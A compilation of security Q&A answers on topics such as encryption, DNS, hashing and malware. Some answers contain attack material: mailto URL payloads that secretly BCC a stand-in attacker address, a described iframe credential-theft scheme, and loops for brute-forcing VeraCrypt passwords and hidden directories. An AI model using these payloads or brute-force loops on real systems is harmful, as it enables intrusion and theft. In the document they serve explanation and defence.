Is it safe to extract file from potentially infected disk

It depends on the nature of the malware.
A "classic" malware would be a single executable, usually spread by a third party via email attachment and not autonomously spreading itself by piggy-backing on files (it might spread itself through disk shares or the filesystem, but making copies of its executable, not altering other files); so, while it might destroy (or encrypt, which is often the same thing in this business) your documents, it would not infect them.
A computer virus or worm could infect Office documents with macros and PDFs with malicious Javascript as a means of spreading itself. With a very, very low probability it could also conceivably hide malicious code in certain types of images and videos.
In the first case, the disk is safe as long as you never execute any binary file it contains and limit yourself to copying documents, images, video, music; never programs.
In the second case (the virus), the disk is not safe, any document it contains is potentially suspect, and actually even plugging it into a clean computer might compromise the latter; this is because there might be an AutoPlay exploit (you can make it so every time you plug a flash drive or other media into a PC, a specific file on that media is executed; the same can be done, with more difficulty, with a specially crafted icon file usually used to associate the device with a recognizable or branded image).
However, scanning the disk with a reliable antivirus (from a system designed to be safe against AutoPlay and icon exploits) should clear any doubt. Another possibility is to use an antivirus bootable CD-ROM (e.g. ESET or Kaspersky), that will start an antivirus environment designed not to contaminate the primary hard disk.


Why to use username and password instead of just a long password?

You've just described API keys and that concept is used everywhere.

You want a username and password pair for two practical reasons:

if users can create their own passwords, you risk people having the same password
if a user needs to change their password, doing so won't invalidate the identity of the user on the system if the password is also the user's identity


Is this JavaScript mailto redirect vulnerable to XSS?

This is more injection than XSS, but Mailto links have a few features that you can abuse. For example, instead of the email program popping up with just the TO filled out, you can pre-fill the CC, BCC, Subject, and Body. This is done by editing the query string, e.g. ?subject=xyz&cc=other@example.com.

My first thought was that window.location.hash would prevent adding anything to the query string, due to the #. However, I tested it on Chrome, and it seems to be possible.

So using this, somebody malicious could add sneak a few things into the email and hope that it goes unnoticed. For example, the malicious actor could send a blind carbon copy to an account they control:

https://example.com/contact#&bcc=evilminion@example.com

mailto:xss@example.com?mkt_tok=mailtokenhere%3D%3D#&bcc=evilminion@example.com

Or they could insert advertisements:

https://example.com/contact#&body=%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0ABuy%20your%20foobar%20cheap%20at%20example.com%2Ffoobar

mailto:xss@example.com?mkt_tok=mailtokenhere%3D%3D#&body=%0A%0A%0A%0A%0A%0A%0A%0A%0A%0A%0ABuy%20your%20foobar%20cheap%20at%20example.com%2Ffoobar

This will still depend on the email client to include these other headers. RFC6068 discourages clients from adding anything beyond "a limited set" of headers that are deemed to be safe, such as subject, keywords, and body.


To begin, I'll break down the main difference between FDE and File-level Encryption:

Full-Disk Encryption:

FDE works on the hardware level of a device. It encrypts the entire drive as compared to individual files and ensures that data cannot be read even if the drive is connected to an alternate system. It ensures that a user must have a password to even be able to access a file. This is an important distinction.

File Level Encryption:

File level encryption allows you to encrypt individual files as compared to an entire drive. This allows you to control access to files - I could allow both Bob and Alice to share a drive (bad idea, just an example) and encrypt a file with each of their passwords. This would result in both of them being able to see the file but, importantly, not the contents. In other words - it allows more control.

Let's say I'm a nasty person - I notice that you've left your Veracrypt container unlocked - this means that I can freely read all your files because the container is open - this is the same as FDE except on a smaller scale. However if you had been using File Level Encryption as well, I would have needed another password in order to be able to actually view the files. I might be able to copy them off (depending on my permissions) and crack them at my leisure, but that's a longer process.

In another scenario, if you don't have FDE, I could rip your drive out of your system, clone the entire drive and proceed to crack the files present on it on my system. Or I'd use a bad security file implementation to access your data.

tl;dr: You want FDE if you want to ensure that people will never be able to even read the contents of your disks without a password while you also want File Level Encryption to ensure that you aren't allowing someone to copy unencrypted data off your disk when it's unlocked.


Is it possible to be secure without a password manager?

Personally I have ~5 >= 12 character entirely random passwords memorised. These are used for key sites and the password is used between at most two sites and if reused then the two sites have different email addresses and usernames for me..

For other less critical sites I map 3 random 8 character strings + the site name. For example "4QvkmvBt-StackExchange" and I might also have "4QvkmvBt-reddit". I have my own schema for mapping sites to random string. I also get extremely upset with sites whose password policy does not allow me to use this. Personally I view this as secure enough. If ever I became aware one site had been compromised I would replace all passwords using that random string.

This is good enough for me personally. Its not as strong as the passwords a password manager could provide but its also convenient (they are always available - in my head) and good enough. If stored properly by sites they should be impossible to brute force. If somehow someone does obtain a plaintext password the damage is limited. I also have no reason to believe someone would put above average effort into breaking into my accounts.

I dislike password managers because its a single point of failure. Any major password manager will also be mass targeted should a vulnerability be found. However for people that cannot remember long random strings I would still recommend them.


Can you prove that the OS loaded by your BIOS is really your OS?

I have highlighted the key part of your question:

  Assume you are a paranoic that have a 100% open source OS with drivers
  etc, but you don't have an alternative to your closed source BIOS. How
  can you sure the BIOS didn't insert malicious code in e.g some
  programs ? You can't trust a program that computes the hash of the
  memory, since it may have been tampered with also.

If you were able to reverse-engineer your BIOS and prove its capabilities, then you should be able to tell whether it could inject malicious code, etc. This would require a great deal of time and skill, but it might be possible, eventually.

In the meantime, the answer is no: you cannot prove that the OS loaded by your BIOS is the OS you intended.

For related work, see:

Matthew Garrett's tpmtotp
Trammell Hudson's additions to tpmtotp, especially Heads.
Joanna Rutkowska's Blue Pill
Joanna Rutkowska's Evil Maid


Is a REST webservice without any authentication or authorization unsecure?

Here are a couple possible scenarios:

an app user connects to Internet via a public WiFi hotspot, and plain HTTP traffic is eavesdropped by a third person. That person is able to get hold of your URLs.
app user's mobile Internet provider implements automated harvesting and analysis of user's behaviour in order to create a behavioural profile for ad targeting. If it sounds too far-fetched check out this story about Verizon in US. I've also heard of some Internet providers in Russia implementing a similar solution. Since you didn't specify the country in question, I don't know what applies in your case.
mass surveillance by NSA or any other security service.

At the very least, I'd implement HTTPS or encrypt traffic using hard-coded certificate. This will not put away a determined attacker but should thwart "drive-by" eavesdropping.


How can WhatsApp recover messages sent to a damaged phone?

The sender will re-encrypt the message with the new credentials bound to the same number and re-send it.

WhatsApp protects from passive interception, but it does not protect against a man-in-the-middle or someone who hijacks the phone network.

Sad, really.

Ref:

How WhatsApp Needs to Improve Its Encryption
ss7 attack leaves whatsapp and telegram encryption useless
Is it possible to intercept/hack a WhatsApp conversation


Restore GPG key after exported to a smartcard

The owner trust export is no private key backup, but contains trust you issued.

If you exported the private keys (--export-secret-keys), --import them. GnuPG before version 2.1 cannot merge private keys, so you'd need to completely remove the key and import it again (don't forget to --edit-key the key and check whether it still has ultimate trust assigned through the trust command).

If you mixed up the ownertrust export and the secret keys export, and do not have exported the secret keys (or have some other backup), you're stuck with the private key on the card. The OpenPGP smart cards do not allow to export private keys.


Is session id in url itself for all the requests an issue?

I wouldnt call it a security flaw but it's definitely not a good practice to have Session token in URL .

  Sensitive information within URLs may be logged in various locations,
  including the user's browser, the web server, and any forward or
  reverse proxy servers between the two endpoints. URLs may also be
  displayed on-screen, bookmarked or emailed around by users. They may
  be disclosed to third parties via the Referer header when any off-site
  links are followed. Placing session tokens into the URL increases the
  risk that they will be captured by an attacker.


You don't mention how quickly you need this done.

If time is not a concern and you only have a limited pool of possible passwords, you could easily script the mount operation to try every possible password inline and look for a success message. No guarantees this works, but something like:

veracrypt /v your_volume_name_here.tc /l x /a /p MyP@$$w0rd! /e /b

Loop this and rotate the password on each attempt. Stop when the mount was successful, and for god's sake make sure you log the found password somewhere so you don't have to do it all over again (bitter experience).

I've done this successfully with a GELI-encrypted drive (twice); it took a few days to complete each time, but I also had a smaller pool of candidates to work with than you do.


If someone were to find a vulnerability that would affect a specific library that could maybe pose a threat to our app

The defense against that is not to use the library. Using the library and not documenting it does not change the fact that your application is vulnerable.

Not documenting that you use the library makes is marginally harder for people to discover that your application uses it, but only marginally so. It might not show up in certain automated scans (e.g. a Google search) but it will come up in other automated scans (e.g. looking for certain symbols) and it will come up once somebody tests (even if your application wasn't using the library, people might test it for similar bugs). And once one person has found it they can make the information public.

On the other hand, if you don't disclose that you use the library, then your users won't have an easy way to find that if a vulnerability affects the library, there's a serious risk that it affects your app. By not disclosing, you're increasing the risk on your users.

So the net security effect of disclosing what libraries your application uses is positive.


Possibility to upload any HTML and JS is a security hole, isn't it?

Yes, this is a huge security hole. Lets say you discovered this on example.com. How do you exploit it?

Upload a HTML file containing an iframe with the login page of example.com, and some JavaScript to read any passwords entered and send them to evil.com.
Send the link to some innocent victim: "Just login to example.com to claim your free prize!" When the victim visit the site, she notice that everything lookas as it always does - even the EV certificate checks out. So surely everything must be allright! She enters her login credentials.
Profit.

Please note that this is not a case of the victim being gullible, since she is actually on the right site and not a phishing mirror like eksample.com. Still, if you don't want to rely on any action from the victim other than following the link, you could still easily steal session cookies (unless they are HTTP-only).


How does the HTTPS server know where to get public or private key in following example

The certificate (which is sent from the server to the client) contains the public key (along with necessary information for the recipient to verify the key's authenticity). The other file (created by the genpkey operation) contains the private key (and enough information to produce the public key), and is never sent anywhere.

Run man genpkey to see more info about the genpkey operation.


Can my internet administrator see what I'm uploading?

Too many missing pieces of information so instead of peppering you with questions I'll go with a Straw Man then take it apart.
Assuming a baseline configuration of a secure HTTPS to the server you are uploading to, then no, the school admin would see only encrypted traffic to the server.
If it's not HTTPs (or otherwise secure connected) then the school admins (here after referred to as "They") are capable of seeing full content.
If They have access to the server with appropriate permissions then They can of course see the content.
If They have an agreement with the server to provide logs or such, then They can determine content.
If your use of the school network requires a school supplied cert to get through the school gateway, odds are They are decrypting as a Man in The Middle (MiTM) and can see full content.
Third parties, such as the students, can forward content to anyone.
The school supplied computer you are using may have monitoring software capable of providing content and activities as monitoring logs.
Short answer: They probably don't but best to assume that They can and do!


office2john is designed for encrypted files, not files that just have an easily-removable snake-oil protection field. Anyway, here's a quick implementation of the algorithm that they use:

#!/usr/bin/env python3

from base64 import b64encode, b64decode
from hashlib import sha512
import struct

def hash_password(password, salt, spincount, hash):
    result = hash(b64decode(salt) + password.encode('utf_16_le')).digest()
    for i in range(spincount):
        result = hash(result + struct.pack('<I', i)).digest()
    return b64encode(result)

print(hash_password('pwd', '876MLoKTq42+/DLp415iZQ==', 100000, sha512))
# 5l3mgNHXpWiFaBPv5Yso1Xd/UifWvQWmlDnl/hsCYbFT2sJCzorjRmBCQ/3qeDu6Q/4+GIE8a1DsdaTwYh1q2g==

I took that test case from LibreOffice.

This doesn't produce the right answer with what you posted, though:

print(hash_password('john', 'DdJzMvZ9KqpGuTrabHJ1eg==', 100000, sha512))
# L69ms0LAD5mz5M8RdRtcn1UTSXWSfX9YI9hK9mPW1n4eW6I8ilTLi6el6LafMj2RVsxjg2aumqSeIfFk25drVw==
print(hash_password('**john**', 'DdJzMvZ9KqpGuTrabHJ1eg==', 100000, sha512))
# 7YpVVKy6la5CEYWmfbUbF6BFgeopeT/Uh52as+I+NVYqFRqVFvSUWfdCP1J5dUGeWBy3cJHan+i/IZieabrGGw==

The OOXML specification for hashValue says "This value shall
be compared with the resulting hash value after hashing the user-supplied password
using the algorithm specified by the preceding attributes and parent XML element" and "The hashValue attribute value of 9oN7nWkCAyEZib1RomSJTjmPpCY= specifies that the
user-supplied password must be hashed using the pre-processing defined by the parent
element (if any) followed by the SHA-1 algorithm (specified via the algorithmName
attribute value of SHA-1) and that the resulting hash value must be
9oN7nWkCAyEZib1RomSJTjmPpCY= for the protection to be disabled."

I suspect this difference comes from a parent XML element specifying an algorithm, which you didn't bother to show us. If you want to crack your password and not just remove it, then you need to do two things:

Account for the extra preprocessing algorithm, if you have one
Either add functionality to John the Ripper to support sheet protection passwords (which you'll need to keep separate from the existing Office encryption functionality), or write your own cracker based on the algorithm.


You cannot sign large data blocks using any of the commonly used asymmetric signature schemes.

For signing larger data, you would have to split it in blocks and sign, but if you just do that without nonces/padding/etc, it is very insecure.

If you use some high-level library for your signatures, it most likely already hashes the data you give it to sign so you don't have to do that yourself.

You can take a look at this answer which concerns the maximum size you can encrypt with RSA, but in RSA encryption and signing is practically the same operation. Here are some more details.

So if you have a 4096bit key (you should have at least that size) you can sign up to 501 byte. Since you want to sign more than that in most cases, you have to hash the data and sign the hash.

Another point is, that most asymmetric crypto operations are very slow compared to hashing or symmetric cryptography, so you don't want to sign thousands of blocks and then verify them.


Encrypt a file in the server and decrypt it in the client without risking the user accessing it?

You can't do this securely. You're running into the same problem that DRM systems do. The user owns the system, so any data that goes onto it can and will be read by a determined user no matter how many safeguards you put in place. You can put the data in memory and avoid hitting disk, but the user can just dump the process memory (Spotify's DRM was originally bypassed this way).

As an example, BluRay DRM uses High Definition Content Protection (HDCP) to prevent users from ripping content. The data on the disk is partially encrypted (only some lines in each frame get encrypted, the rest is cleartext to allow low-res playback on non-HDCP devices) and only gets decrypted by a special piece of dedicated decryption hardware in the monitor or TV, which prevents you from just capturing the HDMI output. This is a complicated end-to-end encryption scheme where the computer, BluRay player, games console, receiver, and any other intermediate hardware does not have access to the decrypted data. Regardless, a few dedicated people got together and worked out how to break HDCP and leak the decryption keys, so now you can rip the media. The same thing happened with the Xbox 360 and the PS3. Regardless of how much time and money you spend on these solutions, you're never going to beat a few dedicated researchers.

If you only need to do some very specific operations on the data (e.g. multiplication, addition, or xor) without revealing the value of the encrypted data, you could use homomorphic encryption, but such schemes are largely still at an academic stage rather than something you can rely on for production systems.


Is it possible to view the cipher suites offered on my behalf by a MITM proxy?

You don't need to do network sniffing, you just need to run a server that displays its connection parameters in detail. Contact that server from your client.
Some existing servers:

Qualys is best known for their server scanning but they also have a page that reports client information.
How's My SSL reports client information.


Difference between different proxy types

I'm not really familiar with the term real or dual real host but I'm assuming that means a normal (forward) proxy which essentially functions on behalf of one or more clients to shield their identity (among other purposes) from the internet at large.  The dual part is maybe a dual-homed proxy?  dual-homed means it has more than one network interface for redundancy.

As for reverse proxy it is the reverse of a forward proxy...it functions on behalf of the internal network of a collection of servers to make it appear as one single point is servicing clients when it may in fact be an entire network of servers providing services.


How bot(s) have guessed my wordpress login page?

Many web scanning tools (e.g. Wikto) have the capabilities of launching bruteforce guesses against a URL. There is nothing stopping an attacker from using a dictionary and say curl or wget to bruteforce either:

while read line
 do
   wget -qO - http://yoursite.com/$line
 done < /usr/share/dictionary/wordlist

A common task I would do for pentesting, would be something similar to the above, where I would wget a copy of the site, parse out each word, put each word on a newline, then search the site for directories of any word listed on their site. This also came in handy for username a few times.

Now you mention wordpress, and it should be stated that when you use plugins, some of those plugins can contain "pingbacks" or "hey I also use this plugin" where your site would be listed. This could be another vector where an attacker saw your site elsewhere, and targeted it. As for WP in general, sites like "Scritch" can tell someone what is running on the site (CMS), what plugins are in use, etc. So imagine the following: Attacker sees your site on say a pingback, takes the site name, shoves it into scritch. Determines they will attack you. They don't find the login page, so they use a similar tactic (shell script) to find something.

I would worry little about attackers, and focus on creating say a mod_rewrite rule or htaccess file similar to the following:

<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{REQUEST_URI} ^(.*)?oscarfoley\.php(.*)$ [OR]
RewriteCond %{REQUEST_URI} ^(.*)?wp-admin-login$
RewriteCond %{REMOTE_ADDR} !^1\.2\.3\.4$
RewriteCond %{REMOTE_ADDR} !^5\.6\.7\.8$
RewriteRule ^(.*)$ - [R=403,L]
</IfModule>

Where 1.2.3.4 is your home addr, and 5.6.7.8 is perhaps your company page and be done with the worries of someone trying to bruteforce their way in via login page. Another alternative which is security through obscurity would be to create a URL based on say a SHA1 checksum of a word, versus a word. E.g.

$ echo 0sc@r | shasum5.16 -a 1
2ee681adc62a5ca2865bb7424b6a97a9050ddcd4  -

Where 2ee681adc62a5ca2865bb7424b6a97a9050ddcd4 becomes your login URL. Again, security through obscurity, but the notion here is that is someone were to guess that URL at some point, you can deduce that your traffic was somehow sniffed, or cached somewhere.

ADDED DUE TO OP EDIT

The 404s from one address mean little to some degree. You have no idea if that address connecting is working in connection with another address doing bruteforce attempts. (e.g. distributed scanning/sharing)


There are three main characteristics which are looked for in a hash function:

Resistance to preimages: given x, it shall be hard to find m such that h(m) = x.
Resistance to second preimages: given m and h(m), it shall be hard to find m' (distinct from m) such that h(m) = h(m').
Resistance to collisions: it shall be hard to find m and m', distinct from each other, such that h(m) = h(m').

For any hash function, regardless of its cryptographic strength, there is a generic attack which always works, and is called luck. To find a preimage (or a second preimage), just try random messages until a match is found. To find a collision, hash many random messages until two of them yield the same hash value. For a n-bit output, luck works with average effort 2n for preimages and second preimages, 2n/2 for collisions (thus is it substantially easier to find collisions than preimages).

What you actually need in a hash function depends on the protocol. For instance, digital signature algorithms (the true ones, like RSA or DSA) begin by a hash function invocation, and the hash value is then used in the algorithm proper. Digital signatures work on preimage and second preimage resistance -- unless you are in a setup where a potential attacker can choose the data of some messages to sign, in which case you need resistance to collisions as well.

As a general rule, stick to n-bit output such that 2n/2 invocations of the hash function is too big an effort. This means n = 160 or so. Using a hash function with only 128 bits of output means that one may find collisions with effort 264, which is quite expensive but technologically feasible (such an effort was done at least once but it took four years and thousands of contributors).

For some protocols it is safe to dismiss collisions (which would gain nothing to the attacker) and thus reduce the output to 80 bits (or so). And example is when the hash function is used as part of HMAC for integrity checks, but only as long as the underlying hash function is robust. Indeed, HMAC relies on some internal properties of the hash function which are not directly linked with resistance to preimages or collisions. If the hash function is SHA-256, things are fine; HMAC/SHA-256 truncated to 96 bits (you truncate the output of HMAC, not the internal hash function) will offer security up to 296, which is more than enough. If you hash function is MD5 or SHA-1, then... things are less clear.

It takes a trained cryptographer to tell you which usage of a hash function tolerates truncation, and which does not. This depends on the hash function itself, how it is used, and in what context. Many trained cryptographers will answer "don't do it" in most cases, anyway, because a big part of cryptography training is about realizing that a single human will never be able to think of everything. I am a trained cryptographer and thus I tell you: don't do it.


Can virtualization protect me from an infected BIOS?

Virtualization does not protect you when the host system is compromised.

An attacker who controls the host system, controls the execution of the hypervisor which means they control everything which happens in the virtual machine.

In theory... In practice, virtualization is an uncommon scenario for typical malware targets, so you will encounter few malware which contains a payload to attack virtual machines running on the host (although this isn't unheard of).


Rate limiting API with PBKDF2 challenge?

Try to use a Proof of Work algorithm, like the one used on bitcoin: send the client some data, ask for it to send back data:padding where SHA1(data:padding) starts (or ends) with an arbitrary number of zeroes. Client will have to calculate the requested hash a lot of times, and you will have to check only once.


What attack vectors are there for a stand-alone saltstack minion?

DNS

At least with the salt versions I tested (2014.1.13, shipping with Debian Jessie), the salt minion will still look for a salt master, regardless of whether file_client has been set to local or not.  As a consequence, the security of your machine is highly dependent on the trustworthiness of your DNS.

By default, a minion accepts commands from any machine called salt in its namespace.  So if your machine is named minion.example.com, and there is another machine named salt.example.com, the minion will happily accept commands from that master.  The master has to confirm that the minion's key (with salt-key), but not the other way around.  A laptop running a salt minion and being connected to an untrusted network is highly vulnerable.

I suggest adding something like 127.0.0.2 salt.example.com to your /etc/hosts file for that reason.

Configs Repository

This isn't specific to salt, but it may be worth mentioning:  A big advantage of configuration management systems is to keep the configs in code which can be kept in a version control system.  The security of all systems relies on the integrity of the respective repository.  If there is the slightest doubt about whether someone could tinker with the code in the repo, I'd recommend to cryptographically sign all commits and to verify signatures before running the latest checkout.  Git has the --sign option for committing.  The last commit can be verified with git verify-commit HEAD.


Yes it is a bad password policy, but it is mitigated by:

second factor authentication
strong account lockout features
your knowledge that it is a bad policy

Do not compare it against policies meant to withstand offline cracking: if you fear offline password cracking at your bank, you may as well fear direct password sniffing.


How to use Username/Password in Signal Protocol

"someone like you" refers only to "crypto novice".

Signal protocol says nothing about identity management.

Your server should have a "users" table and for each user a list of public keys.

A user should be able to perform the following operations:

Create a new user identity using a new (not seen before) user identifier, and add a new public key to that new user identity record on your server ("registration").
On a new device / new installation, prove to the server's satisfaction that they are the same user as an existing user record, and add a new public key to that existing user identity record on your server ("login").
Once logged-in (proving they have a private key matching the public key of a user in your database), they can delete public keys associated with their own user record ("logout" and "logout on other devices").

The user's identity can be:

A pseudonymous username protected by a password (but how to do recovery if they forget the password? Using email? Then just do login by email token and don't use passwords).
An email address protected by email verification (server sends token to email address, API receives it, now believes user is owner of email address).
A phone number protected by sending code via SMS.
An identity provided by some SSO (gauth, FB login, corporate, etc.).
A pseudonymous username not bound to anything external, protected by having a valid pey pair. No way to recover the identity if user loses access to all their key pairs. On registration, user is prompted to create a recovery key pair and keep the recovery private key, serialized like diceware password, safe (on paper). On a new device, they use the recovery key to login, then create a new key pair for this new device and remove the key pair of the old device. The recovery key pair is generated same way all key pairs are generated, the user doesn't get to pick it. That's why it's not a password.
Something else.

A user's key pair is generated using OS CSPRNG and stored on the device where it was generated, using the way the OS recommends to store secrets (e.g. on iOS using keychain and secure enclave, on laptop possibly encrypted by password but UX issue explaining this is local operation).

The private key should never leave the device. There should be no way to backup the private key. If the user loses their phone, they can login on another phone, create a new key pair, delete the old key pair from the server database ("logout from that device").

While it is possible to encrypt the user's key pair using their account password and store the encrypted key pair on the server and give it to the user on login - thus they would have the same key pair on many devices - I would not consider that end-to-end.


Why would attacking a DNS server have the affects it did?

The largest Internet sites, Content Distribution Networks (CDN's), search engines, and companies that do things like streaming video leverage geographically load-balanced DNS which means when you look for their DNS servers from different parts of the world or from different ISP's you get different results. The following are two tests run against github.com from different parts of the US. In the example below you might notice that an attack against dynect.com will affect the Dallas users but not the Seattle ones. This geographically load-balanced DNS is why it was affecting some people and not others. The fact that many companies use different DNS providers is why it only affected some companies.

dig -t NS github.com (from Dallas)

; <<>> DiG 9.8.1-P1 <<>> -t NS github.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49558
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;github.com.            IN  NS

;; ANSWER SECTION:
github.com.     25147   IN  NS  ns4.p16.dynect.net.
github.com.     25147   IN  NS  ns1.p16.dynect.net.
github.com.     25147   IN  NS  ns2.p16.dynect.net.
github.com.     25147   IN  NS  ns3.p16.dynect.net.

;; Query time: 2 msec
;; SERVER: 173.203.4.8#53(173.203.4.8)
;; WHEN: Sat Oct 22 06:24:33 2016
;; MSG SIZE  rcvd: 114

dig -t NS github.com   (from Seattle)

; <<>> DiG 9.8.3-P1 <<>> -t NS github.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47222
;; flags: qr rd ra; QUERY: 1, ANSWER: 4, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;github.com.            IN  NS

;; ANSWER SECTION:
github.com.     586 IN  NS  ns-1283.awsdns-32.org.
github.com.     586 IN  NS  ns-1707.awsdns-21.co.uk.
github.com.     586 IN  NS  ns-421.awsdns-52.com.
github.com.     586 IN  NS  ns-520.awsdns-01.net.

;; Query time: 78 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Oct 21 23:24:17 2016
;; MSG SIZE  rcvd: 165

Tests run within a minute of each other (clock offset because one was a server and the other is from my laptop).


What happens when I encrypt something with my RSA Public Key?

There is a common misconception that signing a message is the same as encrypting the message with the private key.  This notion is fundamentally incorrect, as pointed out by Thomas Pornin at If the public key can't be used for decrypting something encrypted by the private key, then how do digital signatures work?.  As Pornin explains, encryption/decryption and signing/verification are in fact two different algorithms.  A private key can be used to decrypt a message that was encrypted using the correspoding public key, or to sign a message; but a private key cannot be used to encrypt a message.
By the same logic, the notion of signing a message with the public key is also fundamentally incorrect.  A public key can be used to encrypt a message, or to verify a signature made on a message using the corresponding private key; but a public key cannot be used to sign a message.


Completely wiping a HDD (i.e. nothing is recoverable)

The best way to erase a magnetic hard drive (not SSDs) while leaving the drive working is the ATA Secure Erase command.

For a single use of this, a (relatively) simple'ish way of accessing a compatible, modern tool which implements ATA Secure Erase is:

Download and run UNetbootin to create a bootable USB stick.
Download GParted Live or a similar special Linux distro oriented towards disk tools. (Using other Linux disk images will probably also work.) Install the disk image to the USB key using UNetbooting.
Boot from the USB key, and enter a Linux command line. From here, perform the secure erase with HDParm.

Good end user tools for ATA Secure Erase are unfortunately a bit hard to come by. I don't know of anything much easier than the above.

If the above software isn't working for you, then just use a single wipe pass from conventional software that overwrites the drive with random data. That's still good enough. Such software for example be found on the Ultimate Boot CD.


A payload is simply the thing that you actually want to do on a machine. Typical payloads are:

Interactive Shells (Meterpreter, OS Shell, etc.)

Dumping Hashes
Adding Users
Download/Upload Files

Install Malware (Keyloggers, Ransomware, etc.)
Persist Access (SSH, RDP, etc.)

So if your question is "How do I write my own payload?", the actual task for you is to pick one thing you would like to do (e.g. download a file from the remote host) and then write a program that does that.
Will this actually bypass AV?
Maybe. Depends on the AV, and what the AV actually detects. What I can tell you is that AVs do more than just comparing hashes of already known files. They also do heuristics, in which the behavior of a process is analyzed and if it does "something suspicious" 1, the process is interrupted.
For example, what about a process that reads a local executable file, then connects to some remote host, downloads a new executable file, overwrites the first executable and then launches it. Could be suspicious, could also just be a regular update process.

1 It is completely up to the AV vendor to decide what that means.


Force user to download a file to their hard drive via hyperlink?

The browser is typically sandboxed from this type of system interaction just using JavaScript, localstore, etc.

If you have plugins and can run Java Applets its possible. There should be warnings that pop up, but one could use social engineering to trick them into click this. You could probably just get them to download an executable and home their anti-malware settings don't block it.

Beyond that you would need to exploit a flaw in the browser's implementation of some spec or security design.

Some useful links:

Flash Sandboxing (OWASP)
The File System API Proposed (Dead) Spec
Sandboxed vs Privileged JAVA Applets


There are a couple of possible answers; you don't provide enough information to determine the cause.

One cause might be that the active network components of your campus network are taking precautions against arp spoofing. The simplest one might work like this:

Your phone talks to the network, maybe to fetch a webpage or something.
The AP remembers where the first arp request from your phone for the gateway came from (Where is 192.168.1.1? Tell 11:22:33:44:55:66, e.g. your phone's mac address).
You're trying to spoof 11:22:33:44:55:66 from your laptop, but now the origin doesn't match the origin recorded by the AP in step 2, and so it doesn't update it's arp lookup table.

I know this kind of defense against arp poisoning can be used on switches (they remember which port a mac address lies on and can be told not to update their 'memory') and on normal computers.

I'm not sure how it would technically work on a Wifi AP - maybe a mac address can be tied to an active session on the AP. But I'm pretty sure it's something a professionally managed network would try to protect itself against, so it's not so surprising that it doesn't work in your campus network.


What you are asking for is basic lifecycle management:

Design
Deploy
Maintain
Review
Decommission

You need a policy and a procedure to review all the firewall configs (including the zones) to ensure that the current 'design' is meeting the needs and goals of its intent. The frequency of this review is up to the needs of your organisation, yearly might be fine.

Each 'zone' requires an 'owner' who designs and drives the controls in this zone. Any changes to the zone require the owner's input. Ownership is set up as early as possible to prevent the owner being surprised that they are responsible for critical infrastructure.

During the review phase, each relevant element of the zone is verified by the owner as being current, and the verification is challenged by an outside party (GRC, Information Security Steering Committee, etc.) as being accurate.

Once verified or modified, the zone returns to a 'maintenance' state. If the zone is deemed redundant, a decommissioning phase is initiated which defines and tests the removal of the zone in order to ensure a complete and secure decommissioning with minimal impact to the organisation.

As for ISO 27k, the terms you are looking for a 'controls review', and there is a whole document about this: ISO 27008


First and foremost, nomenclature.

https://www.threatanalysis.com/2010/05/03/threat-vulnerability-risk-commonly-mixed-up-terms/

The 'risk' can only determined if there is a vulnerability within this shared infrastructure situation you describe. There is almost always a vulnerability (I said "almost" because in InfoSec it is usually unwise to deal in absolutes) in a system. Humans are imperfect, and we make the systems.

But let me step back and not nitpick; yes, if your service provider uses a single firewall system and all customers share that system, there is an implicit sharing of any vulnerabilities. Even with configurations that mitigate the affects of traffic between tenants, the firewall is a single point of failure and a shared resource. Anything that affects the firewall and a single tenant must have some impact on the others, even if well managed and mitigated.


Generating session CSRF token based on SSL session ID

You can do this but the moment your app grows larger and needs ssl offloading it will break. Also take care about the length as you are exposing a part of the ssl session id which is responsible for protecting your CIA. If you would take a too large part of the Id or all of it and an attacker would be able to get it through xss, it could also break your ssl session.

Please don't be a dave.


Set up a system to sandbox/capture outbound traffic from Windows PC?

If it is malware analysis that you wish one virtual machine that is the analysed subject that forwards traffic to another one that is one proxy.
There in the proxy you can decide what passes and what stays and reroute packages if you wish to pre build answers in order to deceive the malware. (fake cc server) when possible :)

For that I usually use vmware workstations
Lab with 1 network interface connected to Network A in VMware
Proxy with 2 network connections one in Network A and another Nated or bridged with another physical interface.

If you wish to have something that handles all this for you fully automated search for cuckoo sandbox :)


Security considerations in concurrent applications

A deadlock, by itself, would not generally allow an attacker to affect program flow.  By definition, at a deadlock, the program stops making forward progress, so at that point, nothing is happening: desirable or undesirable.

There are many other security issues possible in multithreaded applications:

Ensure that threads are only reading/writing memory intended for them.  (This is very broad, of course, but depends so much on your application.)
If you depend on random data (such as for crypto keys) ensure that the RNGs for your threads are not at the same point.  Using the same RNGs for multiple threads may result in cryptographic weaknesses.
Race conditions are more likely to occur in multi-threaded programs.  These race conditions may result in various vulnerabilities, such as TOCTOU (time-of-check to time-of-use) issues or other types of security vulnerabilities.

There's plenty that can go wrong, and the specific issues you need to look for depends heavily on the type of application you're building.


This does not really introduce additional risk, since an attacker has either full keyboard control or no keyboard control at all. If an attacker had only access to the Ctrl key of a keyboard or something like that, he could trick you into performing actions be pressing it at the right time. However, there is not really a situation in which only some keys are available to an attacker.


Why use an IV when the message length is only one block?

Now that I can comment I am taking a part of my answer to comment
IV makes your encryption probabilistic and pseudo-random. No deterministic encryption scheme can be semantically secure and they are not IND-CPA, which is a requirement under all modern ciphers. It also allows for streaming mode ciphers to reuse key for many different messages (same as nonce for stream ciphers). Now, if you don't reuse your key at least not for same message and and the message is only one block, then it is OK I think as long as the block encryption is a pseudo random permutation. Repeating key for same message would allow detection of repeated messages (see ECB penguins) which would not be case with semantically-secure scheme with IV. It is notoriously difficult to avoid if you use same key. But it requires people building their own crypto and for InfoSec, it is much better to use state-of-the-art well tested method.

I have read that IV's are used with block ciphers in case a sequence is repeated in a message and produces repeated sequences in the ciphertext.

This is if you encrypt it in ECB mode, i.e. encrypting each block individually. There are ways to encrypt them without using IV to not detect such sequence. But semantic insecurity inherent in fully deterministic encryption scheme still remains if you do not use IV. For example if you use static number in place of IV (or first encrypted block) in CBC mode, you will likely not detect such sequences in the cipher. But you can not only recognize same messages encrypted with the same key but easily detect full block common prefixes in messages.


Decrypting a Truecrypt system - how to make deleted files unrecoverable?

